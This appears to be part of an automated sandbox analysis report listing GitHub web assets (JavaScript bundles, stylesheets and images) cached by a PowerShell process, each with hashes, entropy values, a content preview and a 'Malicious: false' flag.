Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_selector-observer_dist_index_esm_js"],{21403:(e,t,r)=>{r.d(t,{lB:()=>F});var n=r(6986),o=null,i=null,s=[];function a(e,t){var r=[];function n(){var e=r;r=[],t(e)}return function(){for(var t=arguments.length,o=Array(t),i=0;i<t;i++)o[i]=arguments[i];r.push(o),1===r.length&&l(e,n)}}function l(e,t){i\|\|(i=new MutationObserver(c)),o\|\|(o=e.createElement("div"),i.observe(o,{attributes:!0})),s.push(t),o.setAttribute("data-twiddle",""+Date.now())}function c(){var e=s;s=[];for(var t=0;t<e.length;t++)try{e[t]()}catch(e){setTimeout(function(){throw e},0)}}var u=new WeakMap,d=new WeakMap,f=new WeakMap,h=new WeakMap;function v(e,t){for(var r=0;r<t.length;r++){var n=t[r],o=n[0],i=n[1],s=n[2];o===g?(function(e,t){if(t instanceof e.elementConstructor){var r=u.get(t);if(r\|\|(r=[],u.set(t,r)),-1===r.indexOf(e.id)){var n=void 0;if(e.initialize&&(n=e.initialize.call(void 0,t)),n){var o=d.get(t);o\|\|(o={},d.s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_primer_behaviors_dist_esm_index_mjs-4aa4b0e95669[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (16829)
Category:	dropped
Size (bytes):	16927
Entropy (8bit):	5.2693769987909205
Encrypted:	false
SSDEEP:	384:1/gc5LjRxoLWxA429VnxSyaJt6LCN/6bO9u:1Y0LjAd0136L4uR
MD5:	6C7C591D15BB45FF5685123849338FA3
SHA1:	7F1C36B3FEDE6C0020EFBE6DAF49EDEA2FF28082
SHA-256:	A020D57AE1D21C34A4CE98538C1C63F112FD3B7A5E4809D377356DF0D74B9DD9
SHA-512:	4AA4B0E9566911A02A88DD7C9489C05AEE4819549B15D3139CC22C2E91DD44611BDD25754C8677BAD0C239F59395EB9B62031CD8F1845F5D68DD57D71F790148
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_behaviors_dist_esm_index_mjs"],{69676:(t,e,n)=>{let i;n.d(e,{z0:()=>s,NK:()=>E,eb:()=>T,iE:()=>function t(e,n,o){let l;let r=new AbortController,a=null!=o?o:r.signal;e.setAttribute("data-focus-trap","active");let d=document.createElement("span");d.setAttribute("class","sentinel"),d.setAttribute("tabindex","0"),d.setAttribute("aria-hidden","true"),d.onfocus=()=>{let t=(0,u.Z0)(e,!0);null==t\|\|t.focus()};let s=document.createElement("span");s.setAttribute("class","sentinel"),s.setAttribute("tabindex","0"),s.setAttribute("aria-hidden","true"),s.onfocus=()=>{let t=(0,u.Z0)(e);null==t\|\|t.focus()},e.prepend(d),e.append(s);let f=function(t,e){let n=new MutationObserver(n=>{for(let i of n)if("childList"===i.type&&i.addedNodes.length){if(Array.from(i.addedNodes).filter(t=>t instanceof HTMLElement&&t.classList.contains("sentinel")&&"SPAN"===t.tagName).length)return;let n=t.firstElementChild,o=t.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_primer_react_lib-esm_ActionList_index_js-540a2acf621f[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (25188)
Category:	dropped
Size (bytes):	25291
Entropy (8bit):	5.471172297774728
Encrypted:	false
SSDEEP:	768:WNA9SW00dtJ6fCM7ySHqvusNeDFeVn7pM9:WNArafCM7Z0bqgn7pM9
MD5:	FB5CFC622DA6FEBA7C65A4F0DF738269
SHA1:	A381949316096877F288A74D01B7CEB8FD889F26
SHA-256:	7149E1C1AFD7E5FBED473F8DEC9FE06E743CA64A0D512C80A7EB8A2E60A1D695
SHA-512:	540A2ACF621F3975F107919DE09873C40EC62B3B5EB74D11A425EF897E213CBF29C7FDB1ABA4EC2DF77AF4418A50DC62DF5BF1248A3AF7722FFFCBD55A9C8830
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_ActionList_index_js"],{97301:(e,t,i)=>{i.d(t,{d:()=>n});let n=i(96540).createContext({})},84072:(e,t,i)=>{i.d(t,{c:()=>d});var n=i(96540),a=i(75177),o=i(42297),r=i(14744),l=i.n(r);let d=({sx:e={}})=>n.createElement(a.A,{as:"li","aria-hidden":"true",sx:l()({height:1,backgroundColor:"actionListItem.inlineDivider",marginTop:e=>`calc(${(0,o.Jt)("space.2")(e)} - 1px)`,marginBottom:2,listStyle:"none"},e),"data-component":"ActionList.Divider"});d.displayName="Divider"},16823:(e,t,i)=>{i.d(t,{l:()=>ea});var n=i(96540),a=i(10619),o=i(44999),r=i(97301),l=i(44683),d=i(24021),s=i(14744),c=i.n(s),p=i(69676),u=i(64515),m=i(84217);let g=n.createContext({}),f=(e,t,i)=>t?{color:"primer.fg.disabled",iconColor:"primer.fg.disabled",annotationColor:"primer.fg.disabled"}:i?{color:"fg.muted",iconColor:"fg.muted",annotationColor:"fg.muted"}:"danger"===e?{color:"danger.fg",iconColor:"danger.fg",

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_js-e39b44f27fbb[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (8207)
Category:	dropped
Size (bytes):	14942
Entropy (8bit):	5.286433308887389
Encrypted:	false
SSDEEP:	192:ukBsOxTUyeIPup3B707iPfZU5UlC9+GuexPud9qcLLmosZCPHE0MNW4rF8oiNHg7:fBsOWIURhTlmQPknVeHc
MD5:	5AB91FF0209EBF4AE127C095DE3980BC
SHA1:	3A13C6EC647D048F7B1D00172B8D87947AC552C2
SHA-256:	2AAD337A08721DD0C42C27B12932D96FD6CA9FB56305EF3A45311075F9885611
SHA-512:	E39B44F27FBB6B07E38CF64050823879B23B284A9ABAC9196F85B5BEA35EB6B0F9C7A357EFDE858CD9B72A673D5DC0597419B243B4901272F6219794A27F6E44
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_primer_react_lib-esm_TooltipV2_Tooltip_js"],{32799:(e,t,o)=>{o.d(t,{m:()=>Q,l:()=>K});var n=o(96540),r=o(44999),i=o(81425),a=o(77393),l=o(69676),s=o(32947),p=o(98328),u=o(10619),c=o(42297),d=class extends Event{oldState;newState;constructor(e,{oldState:t="",newState:o="",...n}={}){super(e,n),this.oldState=String(t\|\|""),this.newState=String(o\|\|"")}},f=new WeakMap;function m(e,t,o){f.set(e,setTimeout(()=>{f.has(e)&&e.dispatchEvent(new d("toggle",{cancelable:!1,oldState:t,newState:o}))},0))}var h=globalThis.ShadowRoot\|\|function(){},v=globalThis.HTMLDialogElement\|\|function(){},g=new WeakMap,b=new WeakMap,w=new WeakMap;function y(e){return w.get(e)\|\|"hidden"}var E=new WeakMap;function T(e,t){return!("auto"!==e.popover&&"manual"!==e.popover\|\|!e.isConnected\|\|t&&"showing"!==y(e)\|\|!t&&"hidden"!==y(e)\|\|e instanceof v&&e.hasAttribute("open"))&&document.fullscreenElement!==e}function M(e){return e?Array

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-6faacedf87fe[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (9509)
Category:	dropped
Size (bytes):	18233
Entropy (8bit):	5.38358181543288
Encrypted:	false
SSDEEP:	384:0dJdWEpGyf2gLoXnmmmgHKhAJHas4yGN+8NQy/M5F1I4nJb9KUdg:iWEpGyf2gLoXNmgqZs4TRNQyeF1I4Jb0
MD5:	E26B7D5406A2FFD2CEBB7069E6D8205A
SHA1:	0AE2C5125267B01C95F090ADA0661646BBE9FC54
SHA-256:	52A2E372D0D91574009C664F146ED4D3506F4D8F2AE6CB749049A17DAF769702
SHA-512:	6FAACEDF87FE21F4F90AAC47A9A1369FE87E2638D9E227441078D0E9815250D2253CCB5926A42AA22D387CD630C98107F998BE8FEABE76B32F6054F38DBBC4ED
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6","ui_packages_soft-navigate_soft-navigate_ts"],{57765:(e,t,r)=>{r.d(t,{a:()=>o,n:()=>i});var n=r(97797);function i(){let e=document.getElementById("ajax-error-message");e&&(e.hidden=!1)}function o(){let e=document.getElementById("ajax-error-message");e&&(e.hidden=!0)}(0,n.on)("deprecatedAjaxError","[data-remote]",function(e){let{error:t,text:r}=e.detail;e.currentTarget===e.target&&"abort"!==t&&"canceled"!==t&&(/<html/.test(r)?(i(),e.stopImmediatePropagation()):setTimeout(function(){e.defaultPrevented\|\|i()},0))}),(0,n.on)("deprecatedAjaxSend","[data-remote]",function(){o()}),(0,n.on)("click",".js-ajax-error-dismiss",function(){o()})},63452:(e,t,r)=>{r.d(t,{A:()=>l,L:()=>s});var n=r(17688),i=r(21403),o=r(97797),a=r(2132);let d=new WeakMap;function l(e){let t=e.closest(".js-render-needs-enrichment");t&&(t.classList.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-aeae6fcdf371[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (11767)
Category:	dropped
Size (bytes):	11909
Entropy (8bit):	5.075253601750093
Encrypted:	false
SSDEEP:	192:0ekoiFddZIwxDBlImVkhyOHz3Jbzmmgqghufhec679v17yUaGeP5sIdeyg2eT:0eXiJzDBlIEVOxVgqghKhec67J17uGeu
MD5:	B2958AFF0CFF1327739CB5F8CB1E6F5E
SHA1:	DB1CF967CFA841741E99DFF1A862BC7F71A921D0
SHA-256:	964C451B19206C8D5C38EEF573FBAEE22D5CF16153D7FA5D3E1FF6CC6BDEA180
SHA-512:	AEAE6FCDF3717D89B8AA808DDE59986FD48DD3D8D03CC9CA6072E3537F34CA564BC5202B4034541441FEAADC9E30FC519D6EBF45BFBA1F30EA740E0D9F07DA42
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235"],{49786:(e,t,s)=>{s.d(t,{O:()=>y});var n=s(97797),i=s(59017),o=s(65024),r=s(27193),l=s(79024),a=s(26234),m=s(21403),c=s(13937),u=s(18292);let d=[];function f(e){e.querySelector(".js-write-tab").click();let t=e.querySelector(".js-comment-field");t.focus(),(0,n.h)(t,"change")}function j(e){return e.querySelector(".js-comment-edit-form-deferred-include-fragment")}function g(e){j(e)?.setAttribute("loading","eager")}function y(e){let t=e.currentTarget.closest("form"),s=e.currentTarget.getAttribute("data-confirm-text");if((0,a.Av)(t)&&!confirm(s))return!1;for(let e of t.querySelectorAll("input, textarea"))e.value=e.defaultValue,e.classList.contains("session-resumable-canceled")&&(e.classList.add("js-session-resumable"),e.classList.remove("session-resumable-canceled"));let n=e.currentTarget.closest(".js-comment");retur

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\environment-2f240f7ed1b3[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (3973)
Category:	dropped
Size (bytes):	4782
Entropy (8bit):	5.45874570452958
Encrypted:	false
SSDEEP:	96:GfH5xTq7XbuDmcdJ38ftt/uqnqyTS6OmXcFGL+D26Vp90T31:GfnQUDJMf7/tTyN6E90z1
MD5:	7D6D4C80201B925D4AEB993E4F40AF4F
SHA1:	95E341BEB912114ABA5991310796FC50BE5F189E
SHA-256:	7B35D9455560B39AFA30C2DB9993A6495C2D82D41212D4EAC59AD6D7D320ABF3
SHA-512:	2F240F7ED1B3963794A3E58A15205239F1F754CA88C00C0988D71B7FC472F7A6E2BE1DA811C063666463394703BD1200614427AFBB06AD9E24F1E66B43079E4B
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["environment"],{47343:(e,t,r)=>{var o=r(23780),i=r(97156);i.cg?.addEventListener("error",e=>{e.error&&o.N7(e.error)}),i.cg?.addEventListener("unhandledrejection",async e=>{if(e.promise)try{await e.promise}catch(e){o.N7(e)}}),i.cg?.location.hash==="#b00m"&&setTimeout(()=>{throw Error("b00m")}),r(31196),r(59136),r(48359);var n=r(6440),a=r(2240);let c="default";n.wA.createPolicy(c,{createHTML:e=>a.b.apply({policy:()=>e,policyName:c,fallback:e,sanitize:!0,fallbackOnError:!0}),createScript:e=>a.b.apply({policy:()=>e,policyName:c,fallback:e,sanitize:!1,fallbackOnError:!0}),createScriptURL:e=>a.b.apply({policy:()=>e,policyName:c,fallback:e,sanitize:!1,fallbackOnError:!0})});var l=r(97564);(0,r(30138).Bb)(),"undefined"!=typeof document&&(()=>{if((0,l.G7)("remove_child_patch")&&"function"==typeof Node&&Node.prototype){let e=Node.prototype.removeChild;Node.prototype.removeChild=function(t){try{return e.apply(this,[t])}catc

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\eslint-33bd6140c37f[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3413
Entropy (8bit):	7.79002822124792
Encrypted:	false
SSDEEP:	96:cvtibG7uuP9TdOlyYvESLN/78xMBUoRzgwFl:cvti07P9T0yYvESR8xAldgql
MD5:	F0E14CE50FA7C5D4C2FE19DDF014DBF1
SHA1:	2A150D67C448FBF7BD7D11391676B2E8B638D467
SHA-256:	B12B29F02F54BD4F9E8EFE2BB7BF9916A5904D8D7170009491AE684E07F531F2
SHA-512:	C583A7B3620DB3A8A94BDB0ADB9F6F043C8D551FFB5D591B05A599070200DCE2BD626B034DE1C1E8A187F610BCBBD589311091E5C4EE67105004E22F4489EBFC
Malicious:	false
Preview:	.PNG........IHDR.............R.l.....IDATx...1..... .....`.................r..8...63...$..L..o&.d..3Ir$I..#?.$IRr$.$.$I2IrLff....L&3.....}f.v.].'6_...]..y...=......u....\|>W....5..XU........1.i..I..2vX...,...D...i.>.... &V..Z..m....8.........8`......".8..e.V......`.....,.-.F\|.gTZuF_.e6.......p.....:....3..Vwt/..{.bT..p..`....{z.C.o......x!@[x.`.8.".xc...T..{.B.w.[.o=....E..\|..b..0E..0.......Ajs.`....0...2_.k5n"....Z5o...c.....5.......D.U...?..H.,.1j7p.i....H.t...,.'.p...C.....0.v......!`._.q..&p....@....c]V..^.8...Ftm.............q..u./.;.i!.1.i3..f.~..>.t=l....vO......,..Q...e..[..#.......v.B<..mT+.........;z..y....Q...y.........BL).......h....?x.T...7./o.P....W...\......"......QV...k.O.WhH..n.(.eM.s....((..#8.T.\|K... JL..9.1.vdJ..T..l..Y..(..........}(*.w....."zl..7.._...}.T./.#.#....n-..U.....A...\.MXr...@.../.y.a..h.u.....;....,...~..T>.N%...A.!..B..P..~....lW.._.1^..o5..).:.@......Je....w..I.....#.#...p...u.0.S.(Z.z#..Ag..p5..W.U..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\footer-blur-8bc8e1f23df6[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 184 x 184, 8-bit colormap, non-interlaced
Category:	modified
Size (bytes):	6601
Entropy (8bit):	7.9068627218204695
Encrypted:	false
SSDEEP:	192:+fkw4YolTRp6N4SI0kAkz385Y0zCJjPVOfOY3xVQ:GtbuiLkR3R0+xHiI
MD5:	FF3192EBCB1525BD2A7BCCCA45316AA1
SHA1:	82D210F7737ECEB53728C38EB5317E6F1A40480C
SHA-256:	7ED7FFC9566D03CC25A96F53251A8B133D99003A5BEC5B40B63DA935BAAAD1B9
SHA-512:	AD7C0C08BF898427880EF91222C4CF9D4B9AB25647F65C263A9BF31493B3A446B65FD945DE0FAF11640E26737F99334DB486749B39FC4C1323C07A9A0B9BC117
Malicious:	false
Preview:	.PNG........IHDR.............g.......PLTE...5../F.,..$+....#........../..../.....E...... ./...(....J...........,...w.N...z..../..Q...s..........L......... ........m.F...!..........6..+........F..F.......................&.....C........-...q.8..9i.&...t..].C~.5f....9..C~..,.5a..U.7..H..<p.G..,Q.A...q.+I.A..<..=..&..@..>..#8.A...k.#../Y..R.".. M.A...Q..i.D..2Y.=t.;..3Z./[.7\|.B..6..(F.F..).."<..#.=...a..d.G...0./r..O.9..7..<...].:..(A.%F.4...Y..d.$?.5..-{.8..>..5Z.Av.%F..2.)..By.6...S../.F...0.D}.?p.$J..M..T.&..G..#@.1T..$.(m.3X. 9.E../..G..'@.D.=n.~.@u.(`..2.9f.F...K.<l.9c..).;h.5Z..1.. ../..4.6^..x.H.H..I..I..%a....l..&.-J.)...K..{.).."s.0Q.H..%s. b..b..@.....A.f..d..i..c..j..g..a..`..^..]..S..[..X..#4.V..U..@t.M..Z..=n.G..:h.I..D.....+E.8a..K.Q..0Q.(?.Bz.&:.K..3W.!/.W..5\.O..T..I...).@y..!.........tRNS........8.%..../......(B.......#.S".....K=....\E4......o.xL..d.{3;.\......"...R.....+..\|.l....c,..>..G...n-...eB6...vY+.....j\....P...[T7........A%..kN....^..m.........m.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\footer-copilot-54114bfd1d20[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 365 x 365, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	14889
Entropy (8bit):	7.947359099489127
Encrypted:	false
SSDEEP:	384:zPhx4Nav9tof4VlqnMDvAlCzQJTofU8BUcu/wGUip+AaKdj7:LhxoavfoXqvAlCzQhGBUP3f
MD5:	8EEDB7B23F90949EF8C9C51863C8D456
SHA1:	D72F9284E330F27EE7116BFE9E76D0A673C7A0D2
SHA-256:	8533C76803F8A9BA4A0770131FD4083C54B6FBBB348918A62F313FF2E98EF73A
SHA-512:	F933D9191F2C5525332FA8DB4E5E7A5FB92061842E1FE491BBB7D9438F7E09AA71F9490BE0F2628667AF10CEBFA2A898A81D18B93E7F5618FA22B12CB42FFF00
Malicious:	false
Preview:	.PNG........IHDR...m...m.............PLTE......hz.(1.DJ.&%.-,.3,....ux..,./,.qx....\@.uw.......um....................w.....v.[=........U.C3..........aG....n_......q....{..9..........P.S6.Y:._=.M3.G0....e@.pF.;*.T].jC.A-.-".vJ.4&.&..\|M. ......W........].h.b.n.t.Yb.y.......`h.....G........B..<.fn..5..a..S..M..-.....'.lt.....]..o.......sz..u..z........!..'..f...........Y.......Y.....j....!.9............).G.....`$.......S........'..r..G..l..z1.U.1...=..'9$biQ...i.....w........".=....xK.@(o )...4.......^.......}.r.oE.g^.H-z.f.di......-.L.c?.4&..,.O2..S.iC.....t.......ZJ.xY.h....]=.V7.ZD.@/.'.~zb..[.!....jN.5(.E;......$..wn..u............R_=.#.....U?..i.[..\|W.b...d.rz.K3.[V.........{' .k..tS.]..1#......,..8...b.p.......4M.....E..s....nQ.k..T\|.M1.TV.S<......Eo.@/.CB.HC..I..._=s.1N.c.....0tRNS....0zEc......F._...mkZ................gV..9....6.IDATx...............................gM+..8n.:$ D.........VM....S?..._......V... t..K..q...J.j..i...<...kC_.r}..&....'

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\github-6da540aa3f84[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	128539
Entropy (8bit):	5.004848494219828
Encrypted:	false
SSDEEP:	1536:E46Hy3ZxLBpVlZUTkxJVSQqXgsykVNPavKlX3UsShIofUGOeKJi4MtcONv+a2:b3ZLaT3UNEJiZtcd
MD5:	608C3EBEB14359B653D8596D7700EE12
SHA1:	F167A192858899B2F4C9335477B6109733820D55
SHA-256:	C60F9A26A30E3F23E5054C5E408BF8453EB28546A43BC079F727A83B8F58D359
SHA-512:	6DA540AA3F8454E84D7C2CA4A4EFCF43CEC110975FC1419D0DA575B434E79C9AF9F65547A4FB6FB504A17624C78DB12B668AABDF799E4EDC1CC5CB0C8A46F162
Malicious:	false
Preview:	.min-height-full{min-height:100vh !important}.hanging-icon-list{list-style-type:none}.hanging-icon-list li{padding-left:var(--base-size-24);margin:var(--base-size-8) 0;font-size:14px}.hanging-icon-list .octicon{float:left;margin-top:var(--base-size-4);margin-left:calc(var(--base-size-24)*-1);color:var(--fgColor-muted, var(--color-fg-muted))}.hanging-icon-list .octicon-check{color:var(--fgColor-success, var(--color-success-fg))}.hanging-icon-list .octicon-x{color:var(--fgColor-danger, var(--color-danger-fg))}.integrations-install-target .select-menu{vertical-align:middle}.integrations-install-target input[type=radio]{margin-right:var(--base-size-8)}.integrations-install-target .flash{background-color:transparent}.integrations-install-target .flash-error{background-color:transparent;border:0}.integrations-install-target .octicon-lock,.integrations-install-target .octicon-repo,.integrations-install-target .octicon-repo-forked{margin-right:var(--base-size-4)}.integrations-install-target .o

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\github-elements-36d7dcef5a08[1].js

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (35903)
Category:	dropped
Size (bytes):	37348
Entropy (8bit):	5.216209942724617
Encrypted:	false
SSDEEP:	768:dFObrqcfOOdQQzuGtNSFbBHDejFQjewZjH8jAzsPysiFvlZ3V/GjH7zRxcNZyLuL:dsbreOdQRFlHDejFrwZjH8PiFv1GLcBn
MD5:	1D569D64013262289DF2A9E2142E67EA
SHA1:	1E841E7834BDFB749B8201A5FFD566A118B08B1B
SHA-256:	C42AFF1AB41B4D621A803EA8A6974FAD0AA7046A0DC40EEBE748BE80A93801EA
SHA-512:	36D7DCEF5A08823300078F6B7AF0CEDC81B45BDD627F0B1909223CD7535ACDBC851941702426574A57EA4FAF8F049ACBBE090BC5A3898A33929022A9D179C929
Malicious:	false
Preview:	"use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["github-elements"],{33545:(e,t,i)=>{i(357),i(20761),i(74057),i(91707),i(62044),i(90204);var n=i(94147);i(78143),i(27552),i(72705),i(81028),i(44911),window.IncludeFragmentElement.prototype.fetch=e=>(e.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(e)),i(52558);var s=i(39595);function r(e,t,i,n){var s,r=arguments.length,a=r<3?t:null===n?n=Object.getOwnPropertyDescriptor(t,i):n;if("object"==typeof Reflect&&"function"==typeof Reflect.decorate)a=Reflect.decorate(e,t,i,n);else for(var o=e.length-1;o>=0;o--)(s=e[o])&&(a=(r<3?s(a):r>3?s(t,i,a):s(t,i))\|\|a);return r>3&&a&&Object.defineProperty(t,i,a),a}let a=class GitCloneHelpElement extends HTMLElement{updateURL(e){let t=e.currentTarget,i=t.getAttribute("data-url")\|\|"";if(this.helpField.value=i,t.matches(".js-git-protocol-clone-url"))for(let e of this.helpTexts)e.textContent=i;for(let e of this.cloneURLButtons)e.classList.remove("selected");t.classList.a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\global-103ebe55f9d9[1].css

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	Unicode text, UTF-8 text, with very long lines (53019)
Category:	dropped
Size (bytes):	291261
Entropy (8bit):	4.973649995428957
Encrypted:	false
SSDEEP:	1536:l0MXGS/q0ojNnRAenr9qMAZWDGO/PNhalTXKIIe2YN4iEJcXa/3lY6MsL4tV0t7z:l9oPqXKl/3lY61duqhEmT
MD5:	A676941D37C4BD302C8DED31C3D11124
SHA1:	46CDA49BF83E551189CE78E183C02ED235CDEA9B
SHA-256:	F83DE7992588F77860BC53F4A276BC860B8928271387C8584B4AEE2E9B8F85A5
SHA-512:	103EBE55F9D9E6F984FD28F989295483D771686BE3FF10AD992214F0B34405BF48D37073BFC18E716F8D3EE5463487982CABD607C2A2AE371F4057941E1AC3EC
Malicious:	false
Preview:	.color-border-inverse{border-color:var(--fgColor-onEmphasis, var(--color-fg-on-emphasis)) !important}.bg-gray-2,.bg-gray-3{background-color:var(--bgColor-neutral-muted, var(--color-neutral-muted)) !important}.color-text-white{color:var(--fgColor-white, var(--color-scale-white)) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--fgColor-muted, var(--color-fg-muted))}.text-emphasized{color:var(--fgColor-default, var(--color-fg-default))}.Label.Label--orange{color:var(--fgColor-severe, var(--color-severe-fg));border-color:var(--borderColor-severe-emphasis, var(--color-severe-emphasis))}.Label.Label--purple{color:var(--fgColor-done, var(--color-done-fg));border-color:var(--borderColor-done-emphasis, var(--color-done-emphasis))}.Label.Label--pink{color:var(--fgColor-sponsors, var(--color-sponsors-fg));border-color:var(--borderColor-sponsors-emphasis, var(--color-sponsors-emphasis))}/!. GitHub Light v0.5.0. * Copyright (c) 2012 - 2017 GitHub, Inc

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\hero-desktop-a38b0fd77b6c[1].webp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	RIFF (little-endian) data, Web/P image
Category:	dropped
Size (bytes):	24528
Entropy (8bit):	7.915201103590471
Encrypted:	false
SSDEEP:	384:JZ6f3xigBYSftzq1L6vmG8qK7Wdvxt4akPchEXN3wFt/d3HxcUpk4ebySHi:JZ637BYS1zqpWvxt4LYthcTuSC
MD5:	D8354E92993932D53179D301372968EC
SHA1:	40EBDF60F5CAAD0899ACFEF02C6EAF99D88D2840
SHA-256:	8E7B906795E2A1ED4A39DD0F7C54973DC377D44DE18AE1406C7F8A58492E0A4F
SHA-512:	B81413303578A0F9A791ADD7DC88C23CB7511412EAE09D056BFE8A828F318DE5F717162803D46D23D4A480BDD318A691B05AA8B6410BE101C1CE5220B4143A0F
Malicious:	false
Preview:	RIFFh...WEBPVP8X........J..]..ALPH..........(h$5B.&...OO;...............................................................................................................................................................................................................................................................................................................................................................................VP8 ....0p...*K.^.>E".E..-.......en..&%7..D<.\.......S...z...-.C<..\....4.4.U...P...gJ.=........+.+..........O.e...C.{........'.m.../.^b{W....u_....W./...?........o.............../............5.........?..y..~......?...?....`.....o...K.../.......T........G..u....................?._......Z........._...?..{...K.../....j........~...................\|....W...T.W............=A.!.....+.?...dF.S..Q.....+.W..._................{M.............o........9=.}m.......?.?.?..l.....3.W...o...?......k...Y.k...Y.k...JU.?.R.R.S.........r....S.........w......w......w...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\hero-mobile-7163f4f5de41[1].webp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 770x540, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	dropped
Size (bytes):	17914
Entropy (8bit):	7.987302583765257
Encrypted:	false
SSDEEP:	384:kbJx1xu76CF/k03gPOe3ZN8qNDZ1laG2PnkSpzgvPw2:u1xu76W/kLPOe3ZNPRKkycvZ
MD5:	D931BF56814E39F6ECEF3EBA8FDA464C
SHA1:	B3F7765F5577C9DF437BD77576ACB4D2931FFAC1
SHA-256:	9D0F3306FE16E6777877B480A14BFE6CEFC2380A8F16E646F818FB8EAE1983F2
SHA-512:	1CBA9F4F03780DD50D8F333E8C50FFCD0A87FFD6A399A4EFC355CF7D5E68847CB4CA9336E00E0B069EF96518D25F80380D29713C23E0C27910B436B80F83EC74
Malicious:	false
Preview:	RIFF0e..WEBPVP8 $e..p........>E .D....'r..0..M.\|J0b5.Y'<.8^../.C..X....C{..G......y.....?i?......?....K........................?...{..C...O.O...?......O.....?b....?.............../..........._....o....................#.[..._......... ..}..........n.?........y.U?.~F...n4x.~K.?...."..........\|...............+......Oq.V..............q...=..l....O..SeH...T.Rl..6T..EO...N.x......_r.2FW.O..N.x....F.2...]L...a ....E....=[..y..2.E~.....e..Jg.8.....g....G..7...jw..O..E..`..@+..&.w..y....s......S..D.$t.......z">.&.N!.........%..~+Q...4.M..WK...\|......J....s..V).I_.uIZ\|`..z-b...T3$e.I..].!W.v.Z.~Y...dq_.3..#5.k.&...I..g.}.D..P.3T.y ..`..Z......#..;eRn....4j......oy\|.....bc.K_.j..!$....s.$...e.........N.w.#t.........}.........q.mTI...)...:).`....n.z...O..@\...z..~........\|../j..Y%.4.C..>...]amu...W.m........_x9)...9..mpc....$$.o....w>...y...81...0i...yo.>r...E.....V.@3.Z...D.$znh.Y4L(7........N..?kA...W)k.J .P...A{...Z.=..;(...RC...>...EM

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\illu-code-scanning-fc9dfb212aa3[1].png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1208 x 830, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	70105
Entropy (8bit):	7.975263660968855
Encrypted:	false
SSDEEP:	1536:0teobsceVqNMkehuuuxxY7A2Ir/1CZM1sK3hivwYHKYQuTO0U:GsHVEMBhuXDYk2Ir1CZM1sExYtTS
